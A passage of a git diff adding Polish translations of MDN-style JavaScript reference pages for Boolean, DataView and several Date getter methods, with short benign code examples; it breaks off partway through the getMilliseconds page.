+ <li>{{jsxref("BigInt.prototype.toString()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/boolean/index.html b/files/pl/web/javascript/referencje/obiekty/boolean/index.html
new file mode 100644
index 0000000000..85e5a6a773
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/boolean/index.html
@@ -0,0 +1,111 @@
+---
+title: Boolean
+slug: Web/JavaScript/Referencje/Obiekty/Boolean
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean
+---
+<p>{{JSRef("Global_Objects", "Boolean")}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Obiekt <code>Boolean</code> jest obiektem opakowującym (ang.<em>wrapper</em> ) dla wartości logicznych.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>new Boolean([wartosc])</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>wartosc</code> </dt>
+ <dd>Początkowa wartość obiektu <code>Boolean</code>.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Wartość przekazana jako pierwszy parametr jest w razie konieczności konwertowana do wartości logicznej. Jeśli wartość zostanie pominięta lub będzie równa 0, -0, null, false, <code>NaN</code>, będzie pustym łańcuchem znaków ("") lub będzie niezdefiniowana, obiekt przyjmie początkową wartość false. Dowolna inna wartość, włączając łańcuch znaków <code>"false"</code>, spowoduje utworzenie obiektu z początkową wartością true.</p>
+
+<p>Nie należy mylić prostych wartości logicznych true i false z wartościami <code>true</code> i <code>false</code> obiektu Boolean.</p>
+
+<p>Każdy obiekt, którego wartością nie jest wartość <code>undefined</code> lub <code>null</code>, w tym obiekt Boolean posiadający wartość <code>false</code>, traktowany jest w instrukcjach warunkowych jako <code>true</code>. Przykładowo warunek w poniższej instrukcji if będzie miał wartość <code>true</code>:</p>
+
+<pre class="eval">x = new Boolean(false);
+if (x) {
+ // . . . ten kod zostanie wykonany
+}
+</pre>
+
+<p>Taka sytuacja nie zachodzi przy prostych wartościach logicznych. Przykładowo warunek w poniższej instrukcji if będzie miał wartość <code>false</code>::</p>
+
+<pre class="eval">x = false;
+if (x) {
+ // . . . ten kod nie zostanie wykonany
+}
+</pre>
+
+<p>Nie należy zatem używać obiektu <code>Boolean</code> do konwersji wartości nie będącej wartością logiczną na wartość typu Boolean. Zamiast tego należy skorzystać z funkcji <code>Boolean()</code>:</p>
+
+<pre class="eval">x = Boolean(wyrazenie); // zalecane
+x = new Boolean(wyrazenie); // nie należy używać
+</pre>
+
+<p>Jeśli jako wartość początkową określony zostanie dowolny obiekt, w tym obiekt Boolean o wartości <code>false</code>, nowy obiekt Boolean będzie miał wartość <code>true</code>.</p>
+
+<pre class="eval">myFalse = new Boolean(false); // wartość początkowa: false
+g = new Boolean(myFalse); // wartość początkowa: true
+myString = new String("Hello"); // obiekt String (łańcuch znaków)
+s = new Boolean(myString); // wartość początkowa: true
+</pre>
+
+<p><strong>Nie należy</strong> używać obiektu Boolean zamiast prostej wartości logicznej.</p>
+
+<h2 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h2>
+
+<dl>
+ <dt><code>Boolean.length</code></dt>
+ <dd>Length property whose value is 1.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Boolean.prototype")}}</dt>
+ <dd>Definiuje własność współdzieloną przez wszystkie obiekty Boolean.</dd>
+</dl>
+
+<h2 id="Metody" name="Metody">Metody</h2>
+
+<p>Globalny obiekt <code>Boolean</code> sam w sobie nie zawiera żadnych metod, jednak dziedziczy on niektóre metody poprzez łańcuch prototypu.</p>
+
+<div>{{jsOverrides("Function", "Methods")}}</div>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Tworzenie_obiekt.C3.B3w_Boolean_z_pocz.C4.85tkow.C4.85_warto.C5.9Bci.C4.85_.E2.80.9Efa.C5.82sz.E2.80.9D" name="Tworzenie_obiekt.C3.B3w_Boolean_z_pocz.C4.85tkow.C4.85_warto.C5.9Bci.C4.85_.E2.80.9Efa.C5.82sz.E2.80.9D">Tworzenie obiektów <code>Boolean</code> z początkową wartością „fałsz”</h3>
+
+<pre class="brush: js">bNoParam = new Boolean();
+bZero = new Boolean(0);
+bNull = new Boolean(null);
+bEmptyString = new Boolean("");
+bfalse = new Boolean(false);
+</pre>
+
+<h3 id="Tworzenie_obiekt.C3.B3w_Boolean_z_pocz.C4.85tkow.C4.85_warto.C5.9Bci.C4.85_.E2.80.9Eprawda.E2.80.9D" name="Tworzenie_obiekt.C3.B3w_Boolean_z_pocz.C4.85tkow.C4.85_warto.C5.9Bci.C4.85_.E2.80.9Eprawda.E2.80.9D">Tworzenie obiektów <code>Boolean</code> z początkową wartością „prawda”</h3>
+
+<pre class="brush: js">btrue = new Boolean(true);
+btrueString = new Boolean("true");
+bfalseString = new Boolean("false");
+bSuLin = new Boolean("Su Lin");
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Boolean.prototype")}}</li>
+ <li>{{Glossary("Boolean")}}</li>
+ <li><a href="http://en.wikipedia.org/wiki/Boolean_data_type">Boolean data type (Wikipedia)</a></li>
+</ul>
+
+<div class="noinclude"> </div>
diff --git a/files/pl/web/javascript/referencje/obiekty/boolean/prototype/index.html b/files/pl/web/javascript/referencje/obiekty/boolean/prototype/index.html
new file mode 100644
index 0000000000..5ba279ea35
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/boolean/prototype/index.html
@@ -0,0 +1,48 @@
+---
+title: Boolean.prototype
+slug: Web/JavaScript/Referencje/Obiekty/Boolean/prototype
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Reprezentuje prototyp konstruktora {{jsxref("Boolean")}}.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Instancje {{jsxref("Boolean")}} dziedziczą z <code>Boolean.prototype</code>. Możesz użyć obiektu prototypu konstruktora, by dodać własności lub metody do wszystkich instancji {{jsxref("Boolean")}}.</p>
+
+<h2 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h2>
+
+<dl>
+ <dt><code>Boolean.prototype.constructor</code></dt>
+ <dd>Zwraca funkcję, która tworzy instancję prototypu. Jest to domyślnie funkcja {{jsxref("Boolean")}}.</dd>
+</dl>
+
+<div>{{jsOverrides("Object", "properties", "constructor")}}</div>
+
+<h2 id="Metody" name="Metody">Metody</h2>
+
+<dl>
+ <dt>{{jsxref("Boolean.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Zwraca ciąg zawierający źródło obiektu <code>Boolean</code>; możesz użyć tego ciągu, by stworzyć równoważny obiekt. Przesłania metodę {{jsxref("Object.prototype.toSource()")}}.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Boolean.prototype.toString()")}}</dt>
+ <dd>Zwraca ciąg "true" albo "false", zależnie od wartości obiektu. Przesłania metodę {{jsxref("Object.prototype.toString()")}}.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Boolean.prototype.valueOf()")}}</dt>
+ <dd>Zwraca prostą wartość obiektu <code>Boolean</code>. Przesłania metodę {{jsxref("Object.prototype.valueOf()")}}.</dd>
+</dl>
+
+<div>{{jsOverrides("Object", "methods", "toSource", "toString", "valueOf")}}</div>
diff --git a/files/pl/web/javascript/referencje/obiekty/boolean/tosource/index.html b/files/pl/web/javascript/referencje/obiekty/boolean/tosource/index.html
new file mode 100644
index 0000000000..b41f1c5806
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/boolean/tosource/index.html
@@ -0,0 +1,51 @@
+---
+title: Boolean.prototype.toSource()
+slug: Web/JavaScript/Referencje/Obiekty/Boolean/toSource
+tags:
+ - Boolean
+ - JavaScript
+ - Method
+ - Non-standard
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/toSource
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca łańcuch znaków z kodem źródłowym obiektu.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>booleanObj</var>.toSource()
+Boolean.toSource()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Metoda <code>toSource</code> zwraca następujące wartości:</p>
+
+<ul>
+ <li>dla wbudowanego obiektu <code>Boolean</code> metoda <code>toSource</code> zwraca następujący łańcuch znaków, oznaczający, że kod źródłowy nie jest dostępny:
+
+ <pre class="brush: js">function Boolean() {
+ [native code]
+}
+</pre>
+ </li>
+</ul>
+
+<ul>
+ <li>dla instancji obiektu <code>Boolean</code> metoda <code>toSource</code> zwraca łańcuch znaków reprezentujący kod źródłowy.</li>
+</ul>
+
+<p>Metoda ta jest zwykle stosowana wewnętrznie przez interpreter JavaScriptu, a nie bezpośrednio w kodzie programów.</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}} {{non-standard_inline}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/boolean/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/boolean/tostring/index.html
new file mode 100644
index 0000000000..fe61d7bca9
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/boolean/tostring/index.html
@@ -0,0 +1,41 @@
+---
+title: Boolean.prototype.toString()
+slug: Web/JavaScript/Referencje/Obiekty/Boolean/toString
+tags:
+ - Boolean
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/toString
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca ciąg znaków reprezentujący dany obiekt Boolean</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>bool</var>.toString()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Obiekt {{jsxref("Boolean")}} przesłania metodę <code>toString</code> obiektu {{jsxref("Object")}}, nie dziedziczy metody {{jsxref("Object.prototype.toString()")}}. Dla obiektów <code>Boolean</code> metoda <code>toString</code> zwraca ich tekstową reprezentację.</p>
+
+<p>JavaScript wywołuje metodę <code>toString</code> samoczynnie, kiedy instancja obiektu {{jsxref("Boolean")}} ma być reprezentowana jako wartość tekstowa lub kiedy instancja obiektu {{jsxref("Boolean")}} jest składnikiem konkatenacji ciągu(-ów) znaków.</p>
+
+<p>Dla obiektów i wartości {{jsxref("Boolean")}} wbudowana metoda <code>toString</code> zwraca ciąg znaków "<code>true</code>" lub "<code>false</code>" w zależności od wartości obiektu boolowskiego. W poniższym przykładzie <code>flaga.toString</code> zwraca "<code>true</code>".</p>
+
+<pre class="brush: js">var flaga = new Boolean(true)
+var mojaZmienna=flaga.toString()
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/boolean/valueof/index.html b/files/pl/web/javascript/referencje/obiekty/boolean/valueof/index.html
new file mode 100644
index 0000000000..1e20821efa
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/boolean/valueof/index.html
@@ -0,0 +1,43 @@
+---
+title: Boolean.prototype.valueOf()
+slug: Web/JavaScript/Referencje/Obiekty/Boolean/valueOf
+tags:
+ - Boolean
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/valueOf
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca wartość prostą obiektu {{jsxref("Boolean")}}.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>bool</var>.valueOf()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Metoda <code>valueOf</code> obiektu {{jsxref("Boolean")}} zwraca wartość prostą obiektu {{jsxref("Boolean")}} lub literału {{jsxref("Boolean")}} jako typ Boolean.</p>
+
+<p>Metoda ta jest zwykle wywoływana wewnętrznie przez interpreter JavaScriptu, a nie w typowym kodzie w JavaScripcie.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_valueOf" name="Przyk.C5.82ad:_Zastosowanie_valueOf">Przykład: Zastosowanie <code>valueOf</code></h3>
+
+<pre class="brush: js">var x = new Boolean();
+myVar = x.valueOf() // przypisuje myVar wartość false
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.valueOf()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/dataview/index.html b/files/pl/web/javascript/referencje/obiekty/dataview/index.html
new file mode 100644
index 0000000000..db3d459a82
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/dataview/index.html
@@ -0,0 +1,118 @@
+---
+title: DataView
+slug: Web/JavaScript/Referencje/Obiekty/DataView
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>DataView</code></strong>  udostępnia niskopoziowy interfejs do zapisu i odczytu typów numerycznych w formie {{jsxref("ArrayBuffer")}} niezależnie od kodowania platformy.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">new DataView(buffer [, byteOffset [, byteLength]])</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>buffer</code></dt>
+ <dd>Istniejący {{jsxref("ArrayBuffer")}} lub {{jsxref("SharedArrayBuffer")}} {{experimental_inline}} używany jako pamięć dla  obiektu  <code>DataView</code> .</dd>
+ <dt><code>byteOffset</code> {{optional_inline}}</dt>
+ <dd>The offset, in bytes, to the first byte in the specified buffer for the new view to reference. If not specified, the view of the buffer will start with the first byte.</dd>
+ <dt><code>byteLength</code> {{optional_inline}}</dt>
+ <dd>The number of elements in the byte array. If unspecified, length of the view will match the buffer's length.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A new <code>DataView</code> object representing the specified data buffer.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt><code>{{jsxref("RangeError")}}</code></dt>
+ <dd>Thrown if the <code>byteOffset</code> and <code>byteLength</code> result in the specified view extending past the end of the buffer.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<h3 id="Endianness">Endianness</h3>
+
+<p>Multi-byte number formats are represented in memory differently depending on machine architecture, see {{Glossary("Endianness")}} for an explanation. DataView accessors provide explicit control of how data will be accessed irrespective of the platform architecture's endianness.</p>
+
+<pre class="brush: js">var littleEndian = (function() {
+ var buffer = new ArrayBuffer(2);
+ new DataView(buffer).setInt16(0, 256, true /* littleEndian */);
+ // Int16Array uses the platform's endianness.
+ return new Int16Array(buffer)[0] === 256;
+})();
+console.log(littleEndian); // true or false
+</pre>
+
+<h2 id="Properties">Properties</h2>
+
+<p>All <code>DataView</code> instances inherit from {{jsxref("DataView.prototype")}} and allows the addition of properties to all DataView objects.</p>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/DataView/prototype','Properties')}}</p>
+
+<h2 id="Methods">Methods</h2>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/DataView/prototype','Methods')}}</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">var buffer = new ArrayBuffer(16);
+var dv = new DataView(buffer, 0);
+
+dv.setInt16(1, 42);
+dv.getInt16(1); //42
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Typed Array')}}</td>
+ <td>{{Spec2('Typed Array')}}</td>
+ <td>Superseded by ECMAScript 6</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-dataview-constructor', 'DataView')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Initial definition in an ECMA standard</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-dataview-constructor', 'DataView')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.DataView")}}</p>
+
+<h2 id="Compatibility_notes">Compatibility notes</h2>
+
+<p>Starting with Firefox 40, <code>DataView</code> requires to be constructed with a {{jsxref("Operators/new", "new")}} operator. Calling <code>DataView()</code> as a function without <code>new</code>, will throw a {{jsxref("TypeError")}} from now on.</p>
+
+<pre class="brush: js example-bad">var dv = DataView(buffer, 0);
+// TypeError: calling a builtin DataView constructor without new is forbidden</pre>
+
+<pre class="brush: js example-good">var dv = new DataView(buffer, 0);</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="link-https" href="https://github.com/jDataView/jDataView">jDataView</a>: JavaScript library that polyfills and extends the <code>DataView</code> API to all browsers and Node.js.</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("SharedArrayBuffer")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/constructor/index.html b/files/pl/web/javascript/referencje/obiekty/date/constructor/index.html
new file mode 100644
index 0000000000..0d649b4fe6
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/constructor/index.html
@@ -0,0 +1,18 @@
+---
+title: constructor
+slug: Web/JavaScript/Referencje/Obiekty/Date/constructor
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Date
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca referencję do funkcji <a href="../../../../en/Core_JavaScript_1.5_Reference/Global_Objects/Date" rel="internal">Date</a>, która tworzy prototyp instancji. Należy pamiętać, że wartość tej własności jest referencją do samej funkcji, nie zaś łańcuchem znaków zawierającym nazwę funkcji.</p>
+<table class="fullwidth-table"> <tbody> <tr> <td class="header" colspan="2">Własność obiektu: <a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Date">Date</a></td> </tr> <tr> <td>Zaimplementowane w:</td> <td>JavaScript 1.1, NES 2.0</td> </tr> <tr> <td>Wersja ECMA:</td> <td>ECMA-262</td> </tr> </tbody>
+</table><h3 id="Opis" name="Opis"> Opis </h3>
+<p>Zobacz <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Object/constructor">Object.constructor</a></code>.
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/Date/constructor", "ja": "ja/Core_JavaScript_1.5_Reference/Global_Objects/Date/constructor" } ) }}
diff --git a/files/pl/web/javascript/referencje/obiekty/date/getdate/index.html b/files/pl/web/javascript/referencje/obiekty/date/getdate/index.html
new file mode 100644
index 0000000000..2dcba53fa0
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/getdate/index.html
@@ -0,0 +1,47 @@
+---
+title: Date.prototype.getDate()
+slug: Web/JavaScript/Referencje/Obiekty/Date/getDate
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDate
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca dzień miesiąca dla określonej daty stosownie do czasu lokalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getDate()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Wartość zwracana przez <code>getDate</code> to liczby całkowite z przedziału liczb pomiędzy 1 a 31.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_getDate" name="Przyk.C5.82ad:_Zastosowanie_getDate">Przykład: Zastosowanie <code>getDate()</code></h3>
+
+<p>Druga instrukcja poniżej przydziela wartość 25 do zmiennej <code>dzien</code>, wartość oparta na <code>Date</code>, obiektu <code>Xmas95</code>.</p>
+
+<pre class="brush: js">var Xmas95 = new Date("December 25, 1995 23:15:00");
+var dzien = Xmas95.getDate();
+
+console.log(dzien), // 25
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCDay()")}}</li>
+ <li>{{jsxref("Date.prototype.setDate()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/getday/index.html b/files/pl/web/javascript/referencje/obiekty/date/getday/index.html
new file mode 100644
index 0000000000..0c52e4e3dd
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/getday/index.html
@@ -0,0 +1,47 @@
+---
+title: Date.prototype.getDay()
+slug: Web/JavaScript/Referencje/Obiekty/Date/getDay
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDay
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca dzień tygodnia określonej daty, stosownie do czasu lokalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getDay()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Wartością zwracaną przez <code>getDay</code> jest liczba całkowita, odnosząca się do dnia tygodnia: 0 dla niedzieli, 1 dla poniedziałku, 2 dla wtorku, i tak dalej.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_getDay" name="Przyk.C5.82ad:_Zastosowanie_getDay">Przykład: Zastosowanie <code>getDay()</code></h3>
+
+<p>Druga instrukcja poniżej przydziela wartość 1 do <code>dzienTyg</code>, opierając się o wartość <code>Date</code>, obiektu <code>Xmas95</code>. 25 grudnia 1995 roku wypadał w poniedziałek.</p>
+
+<pre class="brush: js">var Xmas95 = new Date("December 25, 1995 23:15:00");
+var weekday = Xmas95.getDay();
+
+console.log(weekday); // 1
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCDay()")}}</li>
+ <li>{{jsxref("Date.prototype.setDate()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/getfullyear/index.html b/files/pl/web/javascript/referencje/obiekty/date/getfullyear/index.html
new file mode 100644
index 0000000000..ecc7d868c0
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/getfullyear/index.html
@@ -0,0 +1,47 @@
+---
+title: Date.prototype.getFullYear()
+slug: Web/JavaScript/Referencje/Obiekty/Date/getFullYear
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getFullYear
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca rok określonej daty, stosownie do czasu lokalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getFullYear()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Wartość <code>getFullYear</code> zwracana jest jako pełna liczba. Dla dat liczba lat zawiera się pomiędzy 1000 i 9999, <code>getFullYear</code> zwraca czterocyfrową liczbę, na przykład: 1995. Użyj tej funkcji, aby być pewnym, że wyświetlona będzie pełna data po roku 2000.</p>
+
+<p>Użyj tej metody zamiast metody <code>getYear</code>.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_getFullYear" name="Przyk.C5.82ad:_Zastosowanie_getFullYear">Przykład: Zastosowanie <code>getFullYear</code></h3>
+
+<p>Następujący przykład przydziela czterocyfrową wartość aktualnego roku do zmiennej <code>yr</code>.</p>
+
+<pre class="brush: js">var today = new Date();
+var yr = today.getFullYear();
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.getYear()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/gethours/index.html b/files/pl/web/javascript/referencje/obiekty/date/gethours/index.html
new file mode 100644
index 0000000000..a6010ec8c3
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/gethours/index.html
@@ -0,0 +1,46 @@
+---
+title: Date.prototype.getHours()
+slug: Web/JavaScript/Referencje/Obiekty/Date/getHours
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getHours
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca godzinę określonej daty, stosownie do czasu lokalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getHours()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Wartość zwracana przez <code>getHours</code> jest liczbą całkowitą z przedziału od 0 do 23.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_getHours" name="Przyk.C5.82ad:_Zastosowanie_getHours">Przykład: Zastosowanie <code>getHours()</code></h3>
+
+<p>Druga instrukcja poniżej przydziela wartość liczby 23 zmiennej <code>hours</code>, opartej o wartość <code>Date</code> obiektu <code>Xmas95</code>.</p>
+
+<pre class="brush: js">var Xmas95 = new Date("December 25, 1995 23:15:00");
+var hours = Xmas95.getHours();
+
+console.log(hours); // 23
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCHours()")}}</li>
+ <li>{{jsxref("Date.prototype.setHours()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/getmilliseconds/index.html b/files/pl/web/javascript/referencje/obiekty/date/getmilliseconds/index.html
new file mode 100644
index 0000000000..1ab98844fc
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/getmilliseconds/index.html
@@ -0,0 +1,44 @@
+---
+title: Date.prototype.getMilliseconds()
+slug: Web/JavaScript/Referencje/Obiekty/Date/getMilliseconds
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca milisekundy określonej daty, stosownie do czasu lokalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
